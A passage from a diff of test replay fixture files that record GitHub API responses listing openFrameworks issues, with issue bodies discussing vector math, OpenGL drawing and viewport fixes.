Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"regularize code for math addons","html_url":"https://github.com/openframeworks/openFrameworks/issues/1062","comments":4,"assignee":null,"updated_at":"2012-03-12T17:58:20Z","body":"right now there is a lot of duplicated code in the vector math classes. for example, normalize() and getNormalized() have separate implementations. if we follow the pattern of always implementing things in self-modifying methods, then providing copy-returning methods as alternatives, this will reduce the amount of code and make it harder to cause bugs or behavioral discrepancies.\r\n\r\n- implementations of an algorithm should always be self-modifying\r\n- copy-returning versions should be implemented using a differently named method, internally making a copy and calling the self-modifying version on the copy.\r\n\r\ne.g. something like (note, this isn't how it's implemented right now):\r\n\r\n\tinline ofVec2f& ofVec2f::normalize() {\r\n\t\tfloat length = (float)sqrt(x*x + y*y);\r\n\t\tif( length > 0 ) {\r\n\t\t\tx /= length;\r\n\t\t\ty /= length;\r\n\t\t}\r\n\t\treturn *this;\r\n\t}\r\n\r\n\tinline ofVec2f ofVec2f::getNormalized() const {\r\n\t\tofVec2f result = *this;\r\n\t\treturn result.normalize();\r\n\t}\r\n\r\ntaken from this post https://github.com/openframeworks/openFrameworks/pull/1061#issuecomment-4455601","number":1062,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1062","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"37c200","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy"}],"id":3614231,"closed_at":null,"created_at":"2012-03-12T16:33:06Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofVertexes?? ofCurveVertexes","html_url":"https://github.com/openframeworks/openFrameworks/issues/1055","comments":18,"assignee":null,"updated_at":"2012-03-13T13:07:11Z","body":"Just saw this is the documentation.\r\nVertexes is incorrect (wrong plural)\r\nVertices","number":1055,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1055","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"31e03a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed"}],"id":3605277,"closed_at":null,"created_at":"2012-03-12T01:50:19Z"}] - diff --git a/tests/ReplayData/PaginatedList.testGettingTheReversedListDoesNotModifyTheOriginalList.txt b/tests/ReplayData/PaginatedList.testGettingTheReversedListDoesNotModifyTheOriginalList.txt index 17a36885ec..b1078cf2c9 100644 --- a/tests/ReplayData/PaginatedList.testGettingTheReversedListDoesNotModifyTheOriginalList.txt +++ b/tests/ReplayData/PaginatedList.testGettingTheReversedListDoesNotModifyTheOriginalList.txt @@ -52,4 +52,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4979'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '74557'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 21 Aug 2013 10:42:46 GMT'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"ff413c4ac1c8950a3c117d577119cd9e"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Wed, 21 Aug 2013 10:54:19 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1377085393')] [{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/555","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/555/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/555/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/555/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/555","id":812623,"number":555,"title":"ofxOpenCv -- ofxCvHaarFinder should have a draw function","user":{"login":"ofZach","id":142897,"avatar_url":"https://2.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https%3A%2F%2Fidenticons.github.com%2F6e272aa1d97fe0fbc4dd57f465b1c639.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following{/other_user}","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-04-26T00:36:47Z","updated_at":"2011-04-26T00:37:56Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"nothing fancy, but I have an implementation of ofxCvHaarFinder that draws, and it's useful for debugging. something like:\n\n``` c++\n void ofxCvHaarFinder::draw( float x, float y ) {\n\t\t// ofPushStyle(); ?\n\t\tofEnableAlphaBlending();\n\t\tofSetColor( 255,0,200,100 );\n\t\tglPushMatrix();\n\t\t\n\t\tglTranslatef( x, y, 0.0 );\n\t\t\n\t\tofNoFill();\n\t\tfor( int i=0; i 0) glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, wrapS);\n\t\tif(wrapT > 0) glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, wrapT);\n\t\t\n\t\tglBindTexture(texData.textureTarget, texData.textureID);\n\t\tglDisable(texData.textureTarget);\n\t\tsetUniform1i(name, texData.textureID);\n\t\tglActiveTexture(GL_TEXTURE0);\n\t}\n}"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/418","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/418/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/418/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/418/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/418","id":543729,"number":418,"title":"something to wrap glMultMatrixf","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://2.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https%3A%2F%2Fidenticons.github.com%2Fd5f2a0f6c7205cf195a62516b19b4f2c.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following{/other_user}","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-22T15:57:37Z","updated_at":"2011-01-22T15:57:37Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"suggestions:\r\n\r\n ofPopMatrix(ofMatrix4x4 m)\r\n\r\n ofMultMatrix(ofMatrix4x4 m)\r\n\r\n ofMatrix4x4::apply();\r\n ofMatrix4x4::push();"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/417","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/417/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/417/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/417/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/417","id":543694,"number":417,"title":"3D isn't scale invariant in certain parts","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://2.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https%3A%2F%2Fidenticons.github.com%2Fd5f2a0f6c7205cf195a62516b19b4f2c.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following{/other_user}","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-22T15:24:07Z","updated_at":"2011-01-22T15:24:07Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"e.g.\r\n\r\n void ofEasyCam::reset() {\r\n\ttarget.resetTransform();\r\n\tdistance = 100;\r\n }\r\n\r\nofNode's\r\n\tvirtual void customDraw() {\r\n\t\tofBox(10);\r\n\t\tofDrawAxis(20);\r\n\t}\r\n\r\nsuggestions:\r\n\r\nglobal variable called something like 'base3DScaleFactor = 10.0f' which will affect all of these current constant scale factors"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/412","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/412/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/412/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/412/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/412","id":539845,"number":412,"title":"add setMultisampling method to glutWindow","user":{"login":"arturoc","id":48240,"avatar_url":"https://1.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https%3A%2F%2Fidenticons.github.com%2Fd6a785f81d36e5ce6bd64105058af796.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2011-01-20T19:33:30Z","updated_at":"2013-07-05T19:59:30Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"multisampling is now working in linux through the display string option. perhaps we could add a method to easily set it if it also works on win/osx"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/406","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/406/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/406/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/406/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/406","id":537416,"number":406,"title":"ofEnableLighting","user":{"login":"vanderlin","id":149997,"avatar_url":"https://0.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https%3A%2F%2Fidenticons.github.com%2F9e9c49562cad72e3a40a0e2078c45a2b.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","url":"https://api.github.com/users/vanderlin","html_url":"https://github.com/vanderlin","followers_url":"https://api.github.com/users/vanderlin/followers","following_url":"https://api.github.com/users/vanderlin/following{/other_user}","gists_url":"https://api.github.com/users/vanderlin/gists{/gist_id}","starred_url":"https://api.github.com/users/vanderlin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vanderlin/subscriptions","organizations_url":"https://api.github.com/users/vanderlin/orgs","repos_url":"https://api.github.com/users/vanderlin/repos","events_url":"https://api.github.com/users/vanderlin/events{/privacy}","received_events_url":"https://api.github.com/users/vanderlin/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-19T19:39:36Z","updated_at":"2011-01-19T19:39:37Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofLight bug not sure what the ios equivalent is..\r\n\r\nglColorMaterial(GL_FRONT_AND_BACK, GL_AMBIENT_AND_DIFFUSE); is not supported in IOS"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/405","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/405/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/405/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/405/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/405","id":536614,"number":405,"title":"ofViewport doesn't match rest of openFrameworks coordinates","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://2.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https%3A%2F%2Fidenticons.github.com%2Fd5f2a0f6c7205cf195a62516b19b4f2c.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following{/other_user}","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-19T13:24:53Z","updated_at":"2011-01-19T13:24:54Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Suggest change line 126 of ofGraphics.h to\r\n\tglViewport(x, ofGetHeight() - y - height, width, height);\r\n\r\nto be in line with rest of openFrameworks coordinate system\r\ne.g. ofRect(myRect) matches ofViewport(myRect)\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/403","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/403/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/403/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/403/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/403","id":532954,"number":403,"title":"setPixelFormat shouldn't be stored in videoGrabber/Player","user":{"login":"arturoc","id":48240,"avatar_url":"https://1.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https%3A%2F%2Fidenticons.github.com%2Fd6a785f81d36e5ce6bd64105058af796.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2011-01-17T23:39:31Z","updated_at":"2012-06-18T07:28:14Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"it should be only in the implementations and queried by the grabber/player in case an implementation doesn't support a format if not the app can crash or have really weird results"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/400","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/400/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/400/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/400/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/400","id":532096,"number":400,"title":"ofTTF should have setAnchorPercent so you can draw strings centered, right aligned etc","user":{"login":"ofTheo","id":144000,"avatar_url":"https://0.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https%3A%2F%2Fidenticons.github.com%2F4927fe2904a479337f27af83d0ab970f.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-17T16:37:42Z","updated_at":"2011-01-17T16:37:42Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":""},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/391","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/391/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/391/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/391/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/391","id":529705,"number":391,"title":"ofGetPreviousMouseX/Y() does not update per frame","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://1.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https%3A%2F%2Fidenticons.github.com%2F415d63db900c8f799d40632b6eed98dc.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2011-01-16T07:21:15Z","updated_at":"2013-08-20T08:44:39Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"every frame, it should update the pmouse value. so if you don't move the mouse, the pmouse value is equal to the current value."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/389","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/389/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/389/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/389/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/389","id":529700,"number":389,"title":"mouse position doesn't update until mouse is moved","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://1.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https%3A%2F%2Fidenticons.github.com%2F415d63db900c8f799d40632b6eed98dc.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2011-01-16T07:11:53Z","updated_at":"2013-07-28T18:49:59Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"this is a limitation to glut, but it might be hackable on each system separately."}] - diff --git a/tests/ReplayData/PaginatedList.testIntIndexingAfterIteration.txt b/tests/ReplayData/PaginatedList.testIntIndexingAfterIteration.txt index af3164c0ed..4e3674dd01 100644 --- a/tests/ReplayData/PaginatedList.testIntIndexingAfterIteration.txt +++ b/tests/ReplayData/PaginatedList.testIntIndexingAfterIteration.txt @@ -151,4 +151,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4930'), ('content-length', '13008'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"a63cf45ee23c003caf863065072ec4bb"'), ('date', 'Tue, 29 May 2012 19:27:23 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-02-29T11:13:10Z","body":"check out - http://www.openframeworks.cc/forum/viewtopic.php?p=19169#p19169\r\npossible integration into core. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/140","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":140,"html_url":"https://github.com/openframeworks/openFrameworks/issues/140","assignee":null,"title":"texture compression and mipmaps for of texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-04-02T19:43:00Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":163959,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T16:15:52Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=10&t=3319","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/128","comments":4,"milestone":null,"number":128,"html_url":"https://github.com/openframeworks/openFrameworks/issues/128","assignee":null,"title":"ofxTCPServer doesn't manage connected clients correcly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-02-14T09:40:13Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":132671,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T12:31:57Z","body":"Something that easily converts vector direction to openGL degrees?\r\nI find myself constantly trying to guess 270 - atan2(y, x)*RAD_TO_DEG ..... etc\r\nTo rotate something along a vector. \r\n\r\nMight be good to have it be aware of the GL world orientation - or have it so you pass in the up \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/126","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":126,"html_url":"https://github.com/openframeworks/openFrameworks/issues/126","assignee":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"title":"ofATan2GL / ofVecToGL 